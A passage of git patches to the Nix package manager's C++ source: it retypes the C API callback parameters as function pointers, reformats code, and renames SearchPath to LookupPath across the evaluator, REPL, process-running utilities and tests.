-15,9 +15,9 @@ #include "value/context.hh" #ifdef HAVE_BOEHMGC -# include "gc/gc.h" -# define GC_INCLUDE_NEW 1 -# include "gc_cpp.h" +#include "gc/gc.h" +#define GC_INCLUDE_NEW 1 +#include "gc_cpp.h" #endif // Helper function to throw an exception if value is null @@ -537,7 +537,7 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st if (context) context->last_err_code = NIX_OK; try { - auto &v = check_value_not_null(value); + auto & v = check_value_not_null(value); nix::NixStringContext stringContext; auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned(); nix::StorePathSet storePaths; @@ -547,14 +547,11 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st // Convert to the C API StorePath type and convert to vector for index-based access std::vector vec; - for (auto &sp : storePaths) { + for (auto & sp : storePaths) { vec.push_back(StorePath{sp}); } - return new nix_realised_string { - .str = s, - .storePaths = vec - }; + return new nix_realised_string{.str = s, .storePaths = vec}; } NIXC_CATCH_ERRS_NULL } diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index 511ba0fad..aa4ab521a 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -56,7 +56,11 @@ void nix_store_free(Store * store) delete store; } -nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callback, void * user_data) +nix_err nix_store_get_uri( + nix_c_context * context, + Store * store, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -67,7 +71,11 @@ nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callbac NIXC_CATCH_ERRS } -nix_err nix_store_get_version(nix_c_context * context, Store * store, void * callback, void * user_data) +nix_err nix_store_get_version( + nix_c_context * context, + Store * store, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -128,13 +136,15 @@ nix_err nix_store_realise( NIXC_CATCH_ERRS } -void nix_store_path_name(const StorePath *store_path, void * callback, void * user_data) +void nix_store_path_name( + const StorePath * store_path, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { std::string_view name = store_path->path.name(); ((nix_get_string_callback) callback)(name.data(), name.size(), user_data); } - void nix_store_path_free(StorePath * sp) { delete sp; diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index ca8996681..efeedbf7b 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -76,7 +76,11 @@ void nix_store_free(Store * store); * @see nix_get_string_callback * @return error code, NIX_OK on success. */ -nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callback, void * user_data); +nix_err nix_store_get_uri( + nix_c_context * context, + Store * store, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); // returns: owned StorePath* /** @@ -97,7 +101,10 @@ StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const c * @param[in] callback called with the name * @param[in] user_data arbitrary data, passed to the callback when it's called. */ -void nix_store_path_name(const StorePath *store_path, void * callback, void * user_data); +void nix_store_path_name( + const StorePath * store_path, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); /** * @brief Copy a StorePath @@ -130,7 +137,8 @@ bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * * * Blocking, calls callback once for each realised output. * - * @note When working with expressions, consider using e.g. nix_string_realise to get the output. `.drvPath` may not be accurate or available in the future. See https://github.com/NixOS/nix/issues/6507 + * @note When working with expressions, consider using e.g. nix_string_realise to get the output. `.drvPath` may not be + * accurate or available in the future. See https://github.com/NixOS/nix/issues/6507 * * @param[out] context Optional, stores error information * @param[in] store Nix Store reference @@ -155,7 +163,11 @@ nix_err nix_store_realise( * @see nix_get_string_callback * @return error code, NIX_OK on success. */ -nix_err nix_store_get_version(nix_c_context * context, Store * store, void * callback, void * user_data); +nix_err nix_store_get_version( + nix_c_context * context, + Store * store, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); // cffi end #ifdef __cplusplus diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc index 8d0f7ac38..4999e28e9 100644 --- a/src/libutil-c/nix_api_util.cc +++ b/src/libutil-c/nix_api_util.cc @@ -64,7 +64,11 @@ const char * nix_version_get() // Implementations -nix_err nix_setting_get(nix_c_context * context, const char * key, void * callback, void * user_data) +nix_err nix_setting_get( + nix_c_context * context, + const char * key, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -115,7 +119,11 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * read_con return nullptr; } -nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data) +nix_err nix_err_name( + nix_c_context * context, + const nix_c_context * read_context, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -125,7 +133,11 @@ nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context return call_nix_get_string_callback(read_context->name, callback, user_data); } -nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data) +nix_err nix_err_info_msg( + nix_c_context * context, + const nix_c_context * read_context, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -141,7 +153,8 @@ nix_err nix_err_code(const nix_c_context * read_context) } // internal -nix_err call_nix_get_string_callback(const std::string str, void * callback, void * user_data) +nix_err call_nix_get_string_callback( + const std::string str, void (*callback)(const char * start, unsigned int n, void * user_data), void * user_data) { ((nix_get_string_callback) callback)(str.c_str(), str.size(), user_data); return NIX_OK; diff --git a/src/libutil-c/nix_api_util.h b/src/libutil-c/nix_api_util.h index cb506ca90..36a3f76cb 100644 --- a/src/libutil-c/nix_api_util.h +++ b/src/libutil-c/nix_api_util.h @@ -175,7 +175,11 @@ nix_err nix_libutil_init(nix_c_context * context); * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was retrieved * successfully. */ -nix_err nix_setting_get(nix_c_context * context, const char * key, void * callback, void * user_data); +nix_err nix_setting_get( + nix_c_context * context, + const char * key, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); /** * @brief Sets a setting in the nix global configuration. @@ -241,8 +245,11 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, uns * @see nix_get_string_callback * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err -nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data); +nix_err nix_err_info_msg( + nix_c_context * context, + const nix_c_context * read_context, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); /** * @brief Retrieves the error name from a context. @@ -260,7 +267,11 @@ nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, vo * @see nix_get_string_callback * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data); +nix_err nix_err_name( + nix_c_context * context, + const nix_c_context * read_context, + void (*callback)(const char * start, unsigned int n, void * user_data), + void * user_data); /** * @brief Retrieves the most recent error code from a nix_c_context diff --git a/src/libutil-c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h index 6e8eac020..fe5d5db18 100644 --- a/src/libutil-c/nix_api_util_internal.h +++ b/src/libutil-c/nix_api_util_internal.h @@ -29,7 +29,8 @@ nix_err nix_context_error(nix_c_context * context); * @return NIX_OK if there were no errors. * @see nix_get_string_callback */ -nix_err call_nix_get_string_callback(const std::string str, void * callback, void * user_data); +nix_err call_nix_get_string_callback( + const std::string str, void (*callback)(const char * start, unsigned int n, void * user_data), void * user_data); #define NIXC_CATCH_ERRS \ catch (...) \ diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc index 28ac8b10c..2d0e0dad0 100644 --- a/tests/unit/libutil-support/tests/string_callback.cc +++ b/tests/unit/libutil-support/tests/string_callback.cc @@ -2,7 +2,8 @@ namespace nix::testing { -void observe_string_cb(const char * start, unsigned int n, std::string * user_data) { +void observe_string_cb(const char * start, unsigned int n, std::string * user_data) +{ *user_data = std::string(start); } diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh index 808fb707b..6420810b6 100644 --- a/tests/unit/libutil-support/tests/string_callback.hh +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -4,9 +4,14 @@ namespace nix::testing { void observe_string_cb(const char * start, unsigned int n, std::string * user_data); -inline void * observe_string_cb_data(std::string & out) { + +inline void * observe_string_cb_data(std::string & out) +{ return (void *) &out; }; -#define OBSERVE_STRING(str) (void *)nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) + +#define OBSERVE_STRING(str) \ + (void (*)(const char *, unsigned int, void *)) nix::testing::observe_string_cb, \ + nix::testing::observe_string_cb_data(str) } From 40a6a9fdb853b492cfaed60a225800e44999dba2 Mon Sep 17 00:00:00 2001 From: Roland Coeurjoly Date: Sat, 13 Apr 2024 17:35:15 +0200 Subject: [PATCH 0447/1251] Rename SearchPath to LookupPath and searchPath to lookupPath --- src/libcmd/command.cc | 4 +- src/libcmd/common-eval-args.cc | 2 +- src/libcmd/common-eval-args.hh | 2 +- src/libcmd/repl.cc | 14 ++-- src/libcmd/repl.hh | 2 +- src/libexpr-c/nix_api_expr.cc | 12 +-- src/libexpr-c/nix_api_expr.h | 4 +- src/libexpr/eval.cc | 28 +++---- src/libexpr/eval.hh | 16 ++-- src/libexpr/primops.cc | 14 ++-- src/libexpr/search-path.cc | 12 +-- src/libexpr/search-path.hh | 40 +++++----- src/libfetchers/git-utils.cc | 2 +- src/libfetchers/unix/mercurial.cc | 2 +- .../unix/build/local-derivation-goal.cc | 2 +- src/libutil/processes.hh | 4 +- src/libutil/unix/processes.cc | 6 +- src/libutil/windows/processes.cc | 2 +- src/nix-build/nix-build.cc | 2 +- src/nix-env/nix-env.cc | 2 +- src/nix-instantiate/nix-instantiate.cc | 2 +- src/nix/develop.cc | 2 +- src/nix/fmt.cc | 2 +- src/nix/prefetch.cc | 2 +- src/nix/repl.cc | 2 +- src/nix/run.cc | 8 +- src/nix/run.hh | 4 +- src/nix/upgrade-nix.cc | 2 +- tests/unit/libexpr/search-path.cc | 76 +++++++++---------- 29 files changed, 136 insertions(+), 136 deletions(-) diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 220a90cf6..543250da3 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -128,10 +128,10 @@ ref EvalCommand::getEvalState() evalState = #if HAVE_BOEHMGC std::allocate_shared(traceable_allocator(), - searchPath, getEvalStore(), getStore()) + lookupPath, getEvalStore(), getStore()) #else std::make_shared( - searchPath, getEvalStore(), getStore()) + lookupPath, getEvalStore(), getStore()) #endif ; diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index c6ee0d0b2..155b43b70 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -125,7 +125,7 @@ MixEvalArgs::MixEvalArgs() .category = category, .labels = {"path"}, .handler = {[&](std::string s) { - searchPath.elements.emplace_back(SearchPath::Elem::parse(s)); + lookupPath.elements.emplace_back(LookupPath::Elem::parse(s)); }} }); diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 25ce5b9da..d2efea28e 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -23,7 +23,7 @@ struct MixEvalArgs : virtual Args, virtual MixRepair Bindings * getAutoArgs(EvalState & state); - SearchPath searchPath; + LookupPath lookupPath; std::optional evalStoreUrl; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index ffbb43a69..a045e83d2 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -77,7 +77,7 @@ struct NixRepl std::unique_ptr interacter; - NixRepl(const SearchPath & searchPath, nix::ref store,ref state, + NixRepl(const LookupPath & lookupPath, nix::ref store,ref state, std::function getValues); virtual ~NixRepl() = default; @@ -122,7 +122,7 @@ std::string removeWhitespace(std::string s) } -NixRepl::NixRepl(const SearchPath & searchPath, nix::ref store, ref state, +NixRepl::NixRepl(const LookupPath & lookupPath, nix::ref store, ref state, std::function getValues) : AbstractNixRepl(state) , debugTraceIndex(0) @@ -508,7 +508,7 @@ ProcessLineResult NixRepl::processLine(std::string line) // runProgram redirects stdout to a StringSink, // using runProgram2 to allow editors to display their UI - runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }); + runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args }); // Reload right after exiting the editor state->resetFileCache(); @@ -784,11 +784,11 @@ void NixRepl::evalString(std::string s, Value & v) std::unique_ptr AbstractNixRepl::create( - const SearchPath & searchPath, nix::ref store, ref state, + const LookupPath & lookupPath, nix::ref store, ref state, std::function getValues) { return std::make_unique( - searchPath, + lookupPath, openStore(), state, getValues @@ -804,9 +804,9 @@ ReplExitStatus AbstractNixRepl::runSimple( NixRepl::AnnotatedValues values; return values; }; - SearchPath searchPath = {}; + LookupPath lookupPath = {}; auto repl = std::make_unique( - searchPath, + lookupPath, openStore(), evalState, getValues diff --git a/src/libcmd/repl.hh b/src/libcmd/repl.hh index aac79ec74..3fd4b2c39 100644 --- a/src/libcmd/repl.hh +++ b/src/libcmd/repl.hh @@ -20,7 +20,7 @@ struct AbstractNixRepl typedef std::vector> AnnotatedValues; static std::unique_ptr create( - const SearchPath & searchPath, nix::ref store, ref state, + const LookupPath & lookupPath, nix::ref store, ref state, std::function getValues); static ReplExitStatus runSimple( diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index a5c03d5aa..a29c3425e 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -85,17 +85,17 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * NIXC_CATCH_ERRS } -EvalState * nix_state_create(nix_c_context * context, const char ** searchPath_c, Store * store) +EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c, Store * store) { if (context) context->last_err_code = NIX_OK; try { - nix::Strings searchPath; - if (searchPath_c != nullptr) - for (size_t i = 0; searchPath_c[i] != nullptr; i++) - searchPath.push_back(searchPath_c[i]); + nix::Strings lookupPath; + if (lookupPath_c != nullptr) + for (size_t i = 0; lookupPath_c[i] != nullptr; i++) + lookupPath.push_back(lookupPath_c[i]); - return new EvalState{nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; + return new EvalState{nix::EvalState(nix::LookupPath::parse(lookupPath), store->ptr)}; } NIXC_CATCH_ERRS_NULL } diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index fd9746ab7..04fc92f0f 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -140,11 +140,11 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * * @brief Create a new Nix language evaluator state. * * @param[out] context Optional, stores error information - * @param[in] searchPath Array of strings corresponding to entries in NIX_PATH. + * @param[in] lookupPath Array of strings corresponding to entries in NIX_PATH. * @param[in] store The Nix store to use. * @return A new Nix state or NULL on failure. */ -EvalState * nix_state_create(nix_c_context * context, const char ** searchPath, Store * store); +EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath, Store * store); /** * @brief Frees a Nix state. diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 72da1c465..35ccca79a 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -343,7 +343,7 @@ void initGC() } EvalState::EvalState( - const SearchPath & _searchPath, + const LookupPath & _lookupPath, ref store, std::shared_ptr buildStore) : sWith(symbols.create("")) @@ -448,16 +448,16 @@ EvalState::EvalState( /* Initialise the Nix expression search path. */ if (!evalSettings.pureEval) { - for (auto & i : _searchPath.elements) - searchPath.elements.emplace_back(SearchPath::Elem {i}); + for (auto & i : _lookupPath.elements) + lookupPath.elements.emplace_back(LookupPath::Elem {i}); for (auto & i : evalSettings.nixPath.get()) - searchPath.elements.emplace_back(SearchPath::Elem::parse(i)); + lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); } /* Allow access to all paths in the search path. */ if (rootFS.dynamic_pointer_cast()) - for (auto & i : searchPath.elements) - resolveSearchPathPath(i.path, true); + for (auto & i : lookupPath.elements) + resolveLookupPathPath(i.path, true); corepkgsFS->addFile( CanonPath("fetchurl.nix"), @@ -2820,19 +2820,19 @@ Expr * EvalState::parseStdin() SourcePath EvalState::findFile(const std::string_view path) { - return findFile(searchPath, path); + return findFile(lookupPath, path); } -SourcePath EvalState::findFile(const SearchPath & searchPath, const std::string_view path, const PosIdx pos) +SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos) { - for (auto & i : searchPath.elements) { + for (auto & i : lookupPath.elements) { auto suffixOpt = i.prefix.suffixIfPotentialMatch(path); if (!suffixOpt) continue; auto suffix = *suffixOpt; - auto rOpt = resolveSearchPathPath(i.path); + auto rOpt = resolveLookupPathPath(i.path); if (!rOpt) continue; auto r = *rOpt; @@ -2852,11 +2852,11 @@ SourcePath EvalState::findFile(const SearchPath & searchPath, const std::string_ } -std::optional EvalState::resolveSearchPathPath(const SearchPath::Path & value0, bool initAccessControl) +std::optional EvalState::resolveLookupPathPath(const LookupPath::Path & value0, bool initAccessControl) { auto & value = value0.s; - auto i = searchPathResolved.find(value); - if (i != searchPathResolved.end()) return i->second; + auto i = lookupPathResolved.find(value); + if (i != lookupPathResolved.end()) return i->second; std::optional res; @@ -2912,7 +2912,7 @@ std::optional EvalState::resolveSearchPathPath(const SearchPath::Pa else debug("failed to resolve search path element '%s'", value); - searchPathResolved.emplace(value, res); + lookupPathResolved.emplace(value, res); return res; } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index af65fdcba..b62c994ad 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -162,7 +162,7 @@ struct DebugTrace { }; // Don't want Windows function -#undef SearchPath +#undef LookupPath class EvalState : public std::enable_shared_from_this { @@ -311,9 +311,9 @@ private: #endif FileEvalCache fileEvalCache; - SearchPath searchPath; + LookupPath lookupPath; - std::map> searchPathResolved; + std::map> lookupPathResolved; /** * Cache used by prim_match(). @@ -335,12 +335,12 @@ private: public: EvalState( - const SearchPath & _searchPath, + const LookupPath & _lookupPath, ref store, std::shared_ptr buildStore = nullptr); ~EvalState(); - SearchPath getSearchPath() { return searchPath; } + LookupPath getLookupPath() { return lookupPath; } /** * Return a `SourcePath` that refers to `path` in the root @@ -409,7 +409,7 @@ public: * Look up a file in the search path. */ SourcePath findFile(const std::string_view path); - SourcePath findFile(const SearchPath & searchPath, const std::string_view path, const PosIdx pos = noPos); + SourcePath findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos = noPos); /** * Try to resolve a search path value (not the optional key part). @@ -418,8 +418,8 @@ public: * * If it is not found, return `std::nullopt` */ - std::optional resolveSearchPathPath( - const SearchPath::Path & elem, + std::optional resolveLookupPathPath( + const LookupPath::Path & elem, bool initAccessControl = false); /** diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index f03acc2da..df274caed 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1716,7 +1716,7 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.findFile"); - SearchPath searchPath; + LookupPath lookupPath; for (auto v2 : args[0]->listItems()) { state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.findFile"); @@ -1744,15 +1744,15 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V ).atPos(pos).debugThrow(); } - searchPath.elements.emplace_back(SearchPath::Elem { - .prefix = SearchPath::Prefix { .s = prefix }, - .path = SearchPath::Path { .s = path }, + lookupPath.elements.emplace_back(LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = prefix }, + .path = LookupPath::Path { .s = path }, }); } auto path = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.findFile"); - v.mkPath(state.findFile(searchPath, path, pos)); + v.mkPath(state.findFile(lookupPath, path, pos)); } static RegisterPrimOp primop_findFile(PrimOp { @@ -4629,8 +4629,8 @@ void EvalState::createBaseEnv() }); /* Add a value containing the current Nix expression search path. */ - auto list = buildList(searchPath.elements.size()); - for (const auto & [n, i] : enumerate(searchPath.elements)) { + auto list = buildList(lookupPath.elements.size()); + for (const auto & [n, i] : enumerate(lookupPath.elements)) { auto attrs = buildBindings(2); attrs.alloc("path").mkString(i.path.s); attrs.alloc("prefix").mkString(i.prefix.s); diff --git a/src/libexpr/search-path.cc b/src/libexpr/search-path.cc index e2c3e050a..657744e74 100644 --- a/src/libexpr/search-path.cc +++ b/src/libexpr/search-path.cc @@ -2,7 +2,7 @@ namespace nix { -std::optional SearchPath::Prefix::suffixIfPotentialMatch( +std::optional LookupPath::Prefix::suffixIfPotentialMatch( std::string_view path) const { auto n = s.size(); @@ -27,11 +27,11 @@ std::optional SearchPath::Prefix::suffixIfPotentialMatch( } -SearchPath::Elem SearchPath::Elem::parse(std::string_view rawElem) +LookupPath::Elem LookupPath::Elem::parse(std::string_view rawElem) { size_t pos = rawElem.find('='); - return SearchPath::Elem { + return LookupPath::Elem { .prefix = Prefix { .s = pos == std::string::npos ? std::string { "" } @@ -44,11 +44,11 @@ SearchPath::Elem SearchPath::Elem::parse(std::string_view rawElem) } -SearchPath SearchPath::parse(const Strings & rawElems) +LookupPath LookupPath::parse(const Strings & rawElems) { - SearchPath res; + LookupPath res; for (auto & rawElem : rawElems) - res.elements.emplace_back(SearchPath::Elem::parse(rawElem)); + res.elements.emplace_back(LookupPath::Elem::parse(rawElem)); return res; } diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh index 231752ea6..6a63f3730 100644 --- a/src/libexpr/search-path.hh +++ b/src/libexpr/search-path.hh @@ -8,17 +8,17 @@ namespace nix { -// Do not want the windows macro (alias to `SearchPathA`) -#undef SearchPath +// Do not want the windows macro (alias to `LookupPathA`) +#undef LookupPath /** * A "search path" is a list of ways look for something, used with * `builtins.findFile` and `< >` lookup expressions. */ -struct SearchPath +struct LookupPath { /** - * A single element of a `SearchPath`. + * A single element of a `LookupPath`. * * Each element is tried in succession when looking up a path. The first * element to completely match wins. @@ -26,16 +26,16 @@ struct SearchPath struct Elem; /** - * The first part of a `SearchPath::Elem` pair. + * The first part of a `LookupPath::Elem` pair. * * Called a "prefix" because it takes the form of a prefix of a file * path (first `n` path components). When looking up a path, to use - * a `SearchPath::Elem`, its `Prefix` must match the path. + * a `LookupPath::Elem`, its `Prefix` must match the path. */ struct Prefix; /** - * The second part of a `SearchPath::Elem` pair. + * The second part of a `LookupPath::Elem` pair. * * It is either a path or a URL (with certain restrictions / extra * structure). @@ -43,7 +43,7 @@ struct SearchPath * If the prefix of the path we are looking up matches, we then * check if the rest of the path points to something that exists * within the directory denoted by this. If so, the - * `SearchPath::Elem` as a whole matches, and that *something* being + * `LookupPath::Elem` as a whole matches, and that *something* being * pointed to by the rest of the path we are looking up is the * result. */ @@ -54,24 +54,24 @@ struct SearchPath * when looking up. (The actual lookup entry point is in `EvalState` * not in this class.) */ - std::list elements; + std::list elements; /** - * Parse a string into a `SearchPath` + * Parse a string into a `LookupPath` */ - static SearchPath parse(const Strings & rawElems); + static LookupPath parse(const Strings & rawElems); }; -struct SearchPath::Prefix +struct LookupPath::Prefix { /** * Underlying string * - * @todo Should we normalize this when constructing a `SearchPath::Prefix`? + * @todo Should we normalize this when constructing a `LookupPath::Prefix`? */ std::string s; - GENERATE_CMP(SearchPath::Prefix, me->s); + GENERATE_CMP(LookupPath::Prefix, me->s); /** * If the path possibly matches this search path element, return the @@ -82,7 +82,7 @@ struct SearchPath::Prefix std::optional suffixIfPotentialMatch(std::string_view path) const; }; -struct SearchPath::Path +struct LookupPath::Path { /** * The location of a search path item, as a path or URL. @@ -91,21 +91,21 @@ struct SearchPath::Path */ std::string s; - GENERATE_CMP(SearchPath::Path, me->s); + GENERATE_CMP(LookupPath::Path, me->s); }; -struct SearchPath::Elem +struct LookupPath::Elem { Prefix prefix; Path path; - GENERATE_CMP(SearchPath::Elem, me->prefix, me->path); + GENERATE_CMP(LookupPath::Elem, me->prefix, me->path); /** - * Parse a string into a `SearchPath::Elem` + * Parse a string into a `LookupPath::Elem` */ - static SearchPath::Elem parse(std::string_view rawElem); + static LookupPath::Elem parse(std::string_view rawElem); }; } diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index a4a00374c..e310af063 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -385,7 +385,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this runProgram(RunOptions { .program = "git", - .searchPath = true, + .lookupPath = true, // FIXME: git stderr messes up our progress indicator, so // we're using --quiet for now. Should process its stderr. .args = gitArgs, diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index 4e0b26274..df6bc5335 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -24,7 +24,7 @@ static RunOptions hgOptions(const Strings & args) return { .program = "hg", - .searchPath = true, + .lookupPath = true, .args = args, .environment = env }; diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index aad5173e7..72125cb82 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -77,7 +77,7 @@ void handleDiffHook( try { auto diffRes = runProgram(RunOptions { .program = diffHook, - .searchPath = true, + .lookupPath = true, .args = {tryA, tryB, drvPath, tmpDir}, .uid = uid, .gid = gid, diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh index a7e85b5be..e319f79e0 100644 --- a/src/libutil/processes.hh +++ b/src/libutil/processes.hh @@ -80,14 +80,14 @@ pid_t startProcess(std::function fun, const ProcessOptions & options = P * Run a program and return its stdout in a string (i.e., like the * shell backtick operator). */ -std::string runProgram(Path program, bool searchPath = false, +std::string runProgram(Path program, bool lookupPath = false, const Strings & args = Strings(), const std::optional & input = {}, bool isInteractive = false); struct RunOptions { Path program; - bool searchPath = true; + bool lookupPath = true; Strings args; #ifndef _WIN32 std::optional uid; diff --git a/src/libutil/unix/processes.cc b/src/libutil/unix/processes.cc index f5d584330..1af559a21 100644 --- a/src/libutil/unix/processes.cc +++ b/src/libutil/unix/processes.cc @@ -245,10 +245,10 @@ pid_t startProcess(std::function fun, const ProcessOptions & options) } -std::string runProgram(Path program, bool searchPath, const Strings & args, +std::string runProgram(Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { - auto res = runProgram(RunOptions {.program = program, .searchPath = searchPath, .args = args, .input = input, .isInteractive = isInteractive}); + auto res = runProgram(RunOptions {.program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); if (!statusOk(res.first)) throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); @@ -335,7 +335,7 @@ void runProgram2(const RunOptions & options) restoreProcessContext(); - if (options.searchPath) + if (options.lookupPath) execvp(options.program.c_str(), stringsToCharPtrs(args_).data()); // This allows you to refer to a program with a pathname relative // to the PATH variable. diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 2a5377f3f..5ef4ed1e4 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -28,7 +28,7 @@ namespace nix { -std::string runProgram(Path program, bool searchPath, const Strings & args, +std::string runProgram(Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { throw UnimplementedError("Cannot shell out to git on Windows yet"); diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 198e9cda0..30ebc9498 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -258,7 +258,7 @@ static void main_nix_build(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.searchPath, evalStore, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, store); state->repair = myArgs.repair; if (myArgs.repair) buildMode = bmRepair; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index eeca01833..25c8f43c2 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1525,7 +1525,7 @@ static int main_nix_env(int argc, char * * argv) auto store = openStore(); - globals.state = std::shared_ptr(new EvalState(myArgs.searchPath, store)); + globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store)); globals.state->repair = myArgs.repair; globals.instSource.nixExprPath = std::make_shared( diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index 1e1728225..35664374c 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -157,7 +157,7 @@ static int main_nix_instantiate(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.searchPath, evalStore, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, store); state->repair = myArgs.repair; Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 35d3da912..f2df814d7 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -687,7 +687,7 @@ struct CmdDevelop : 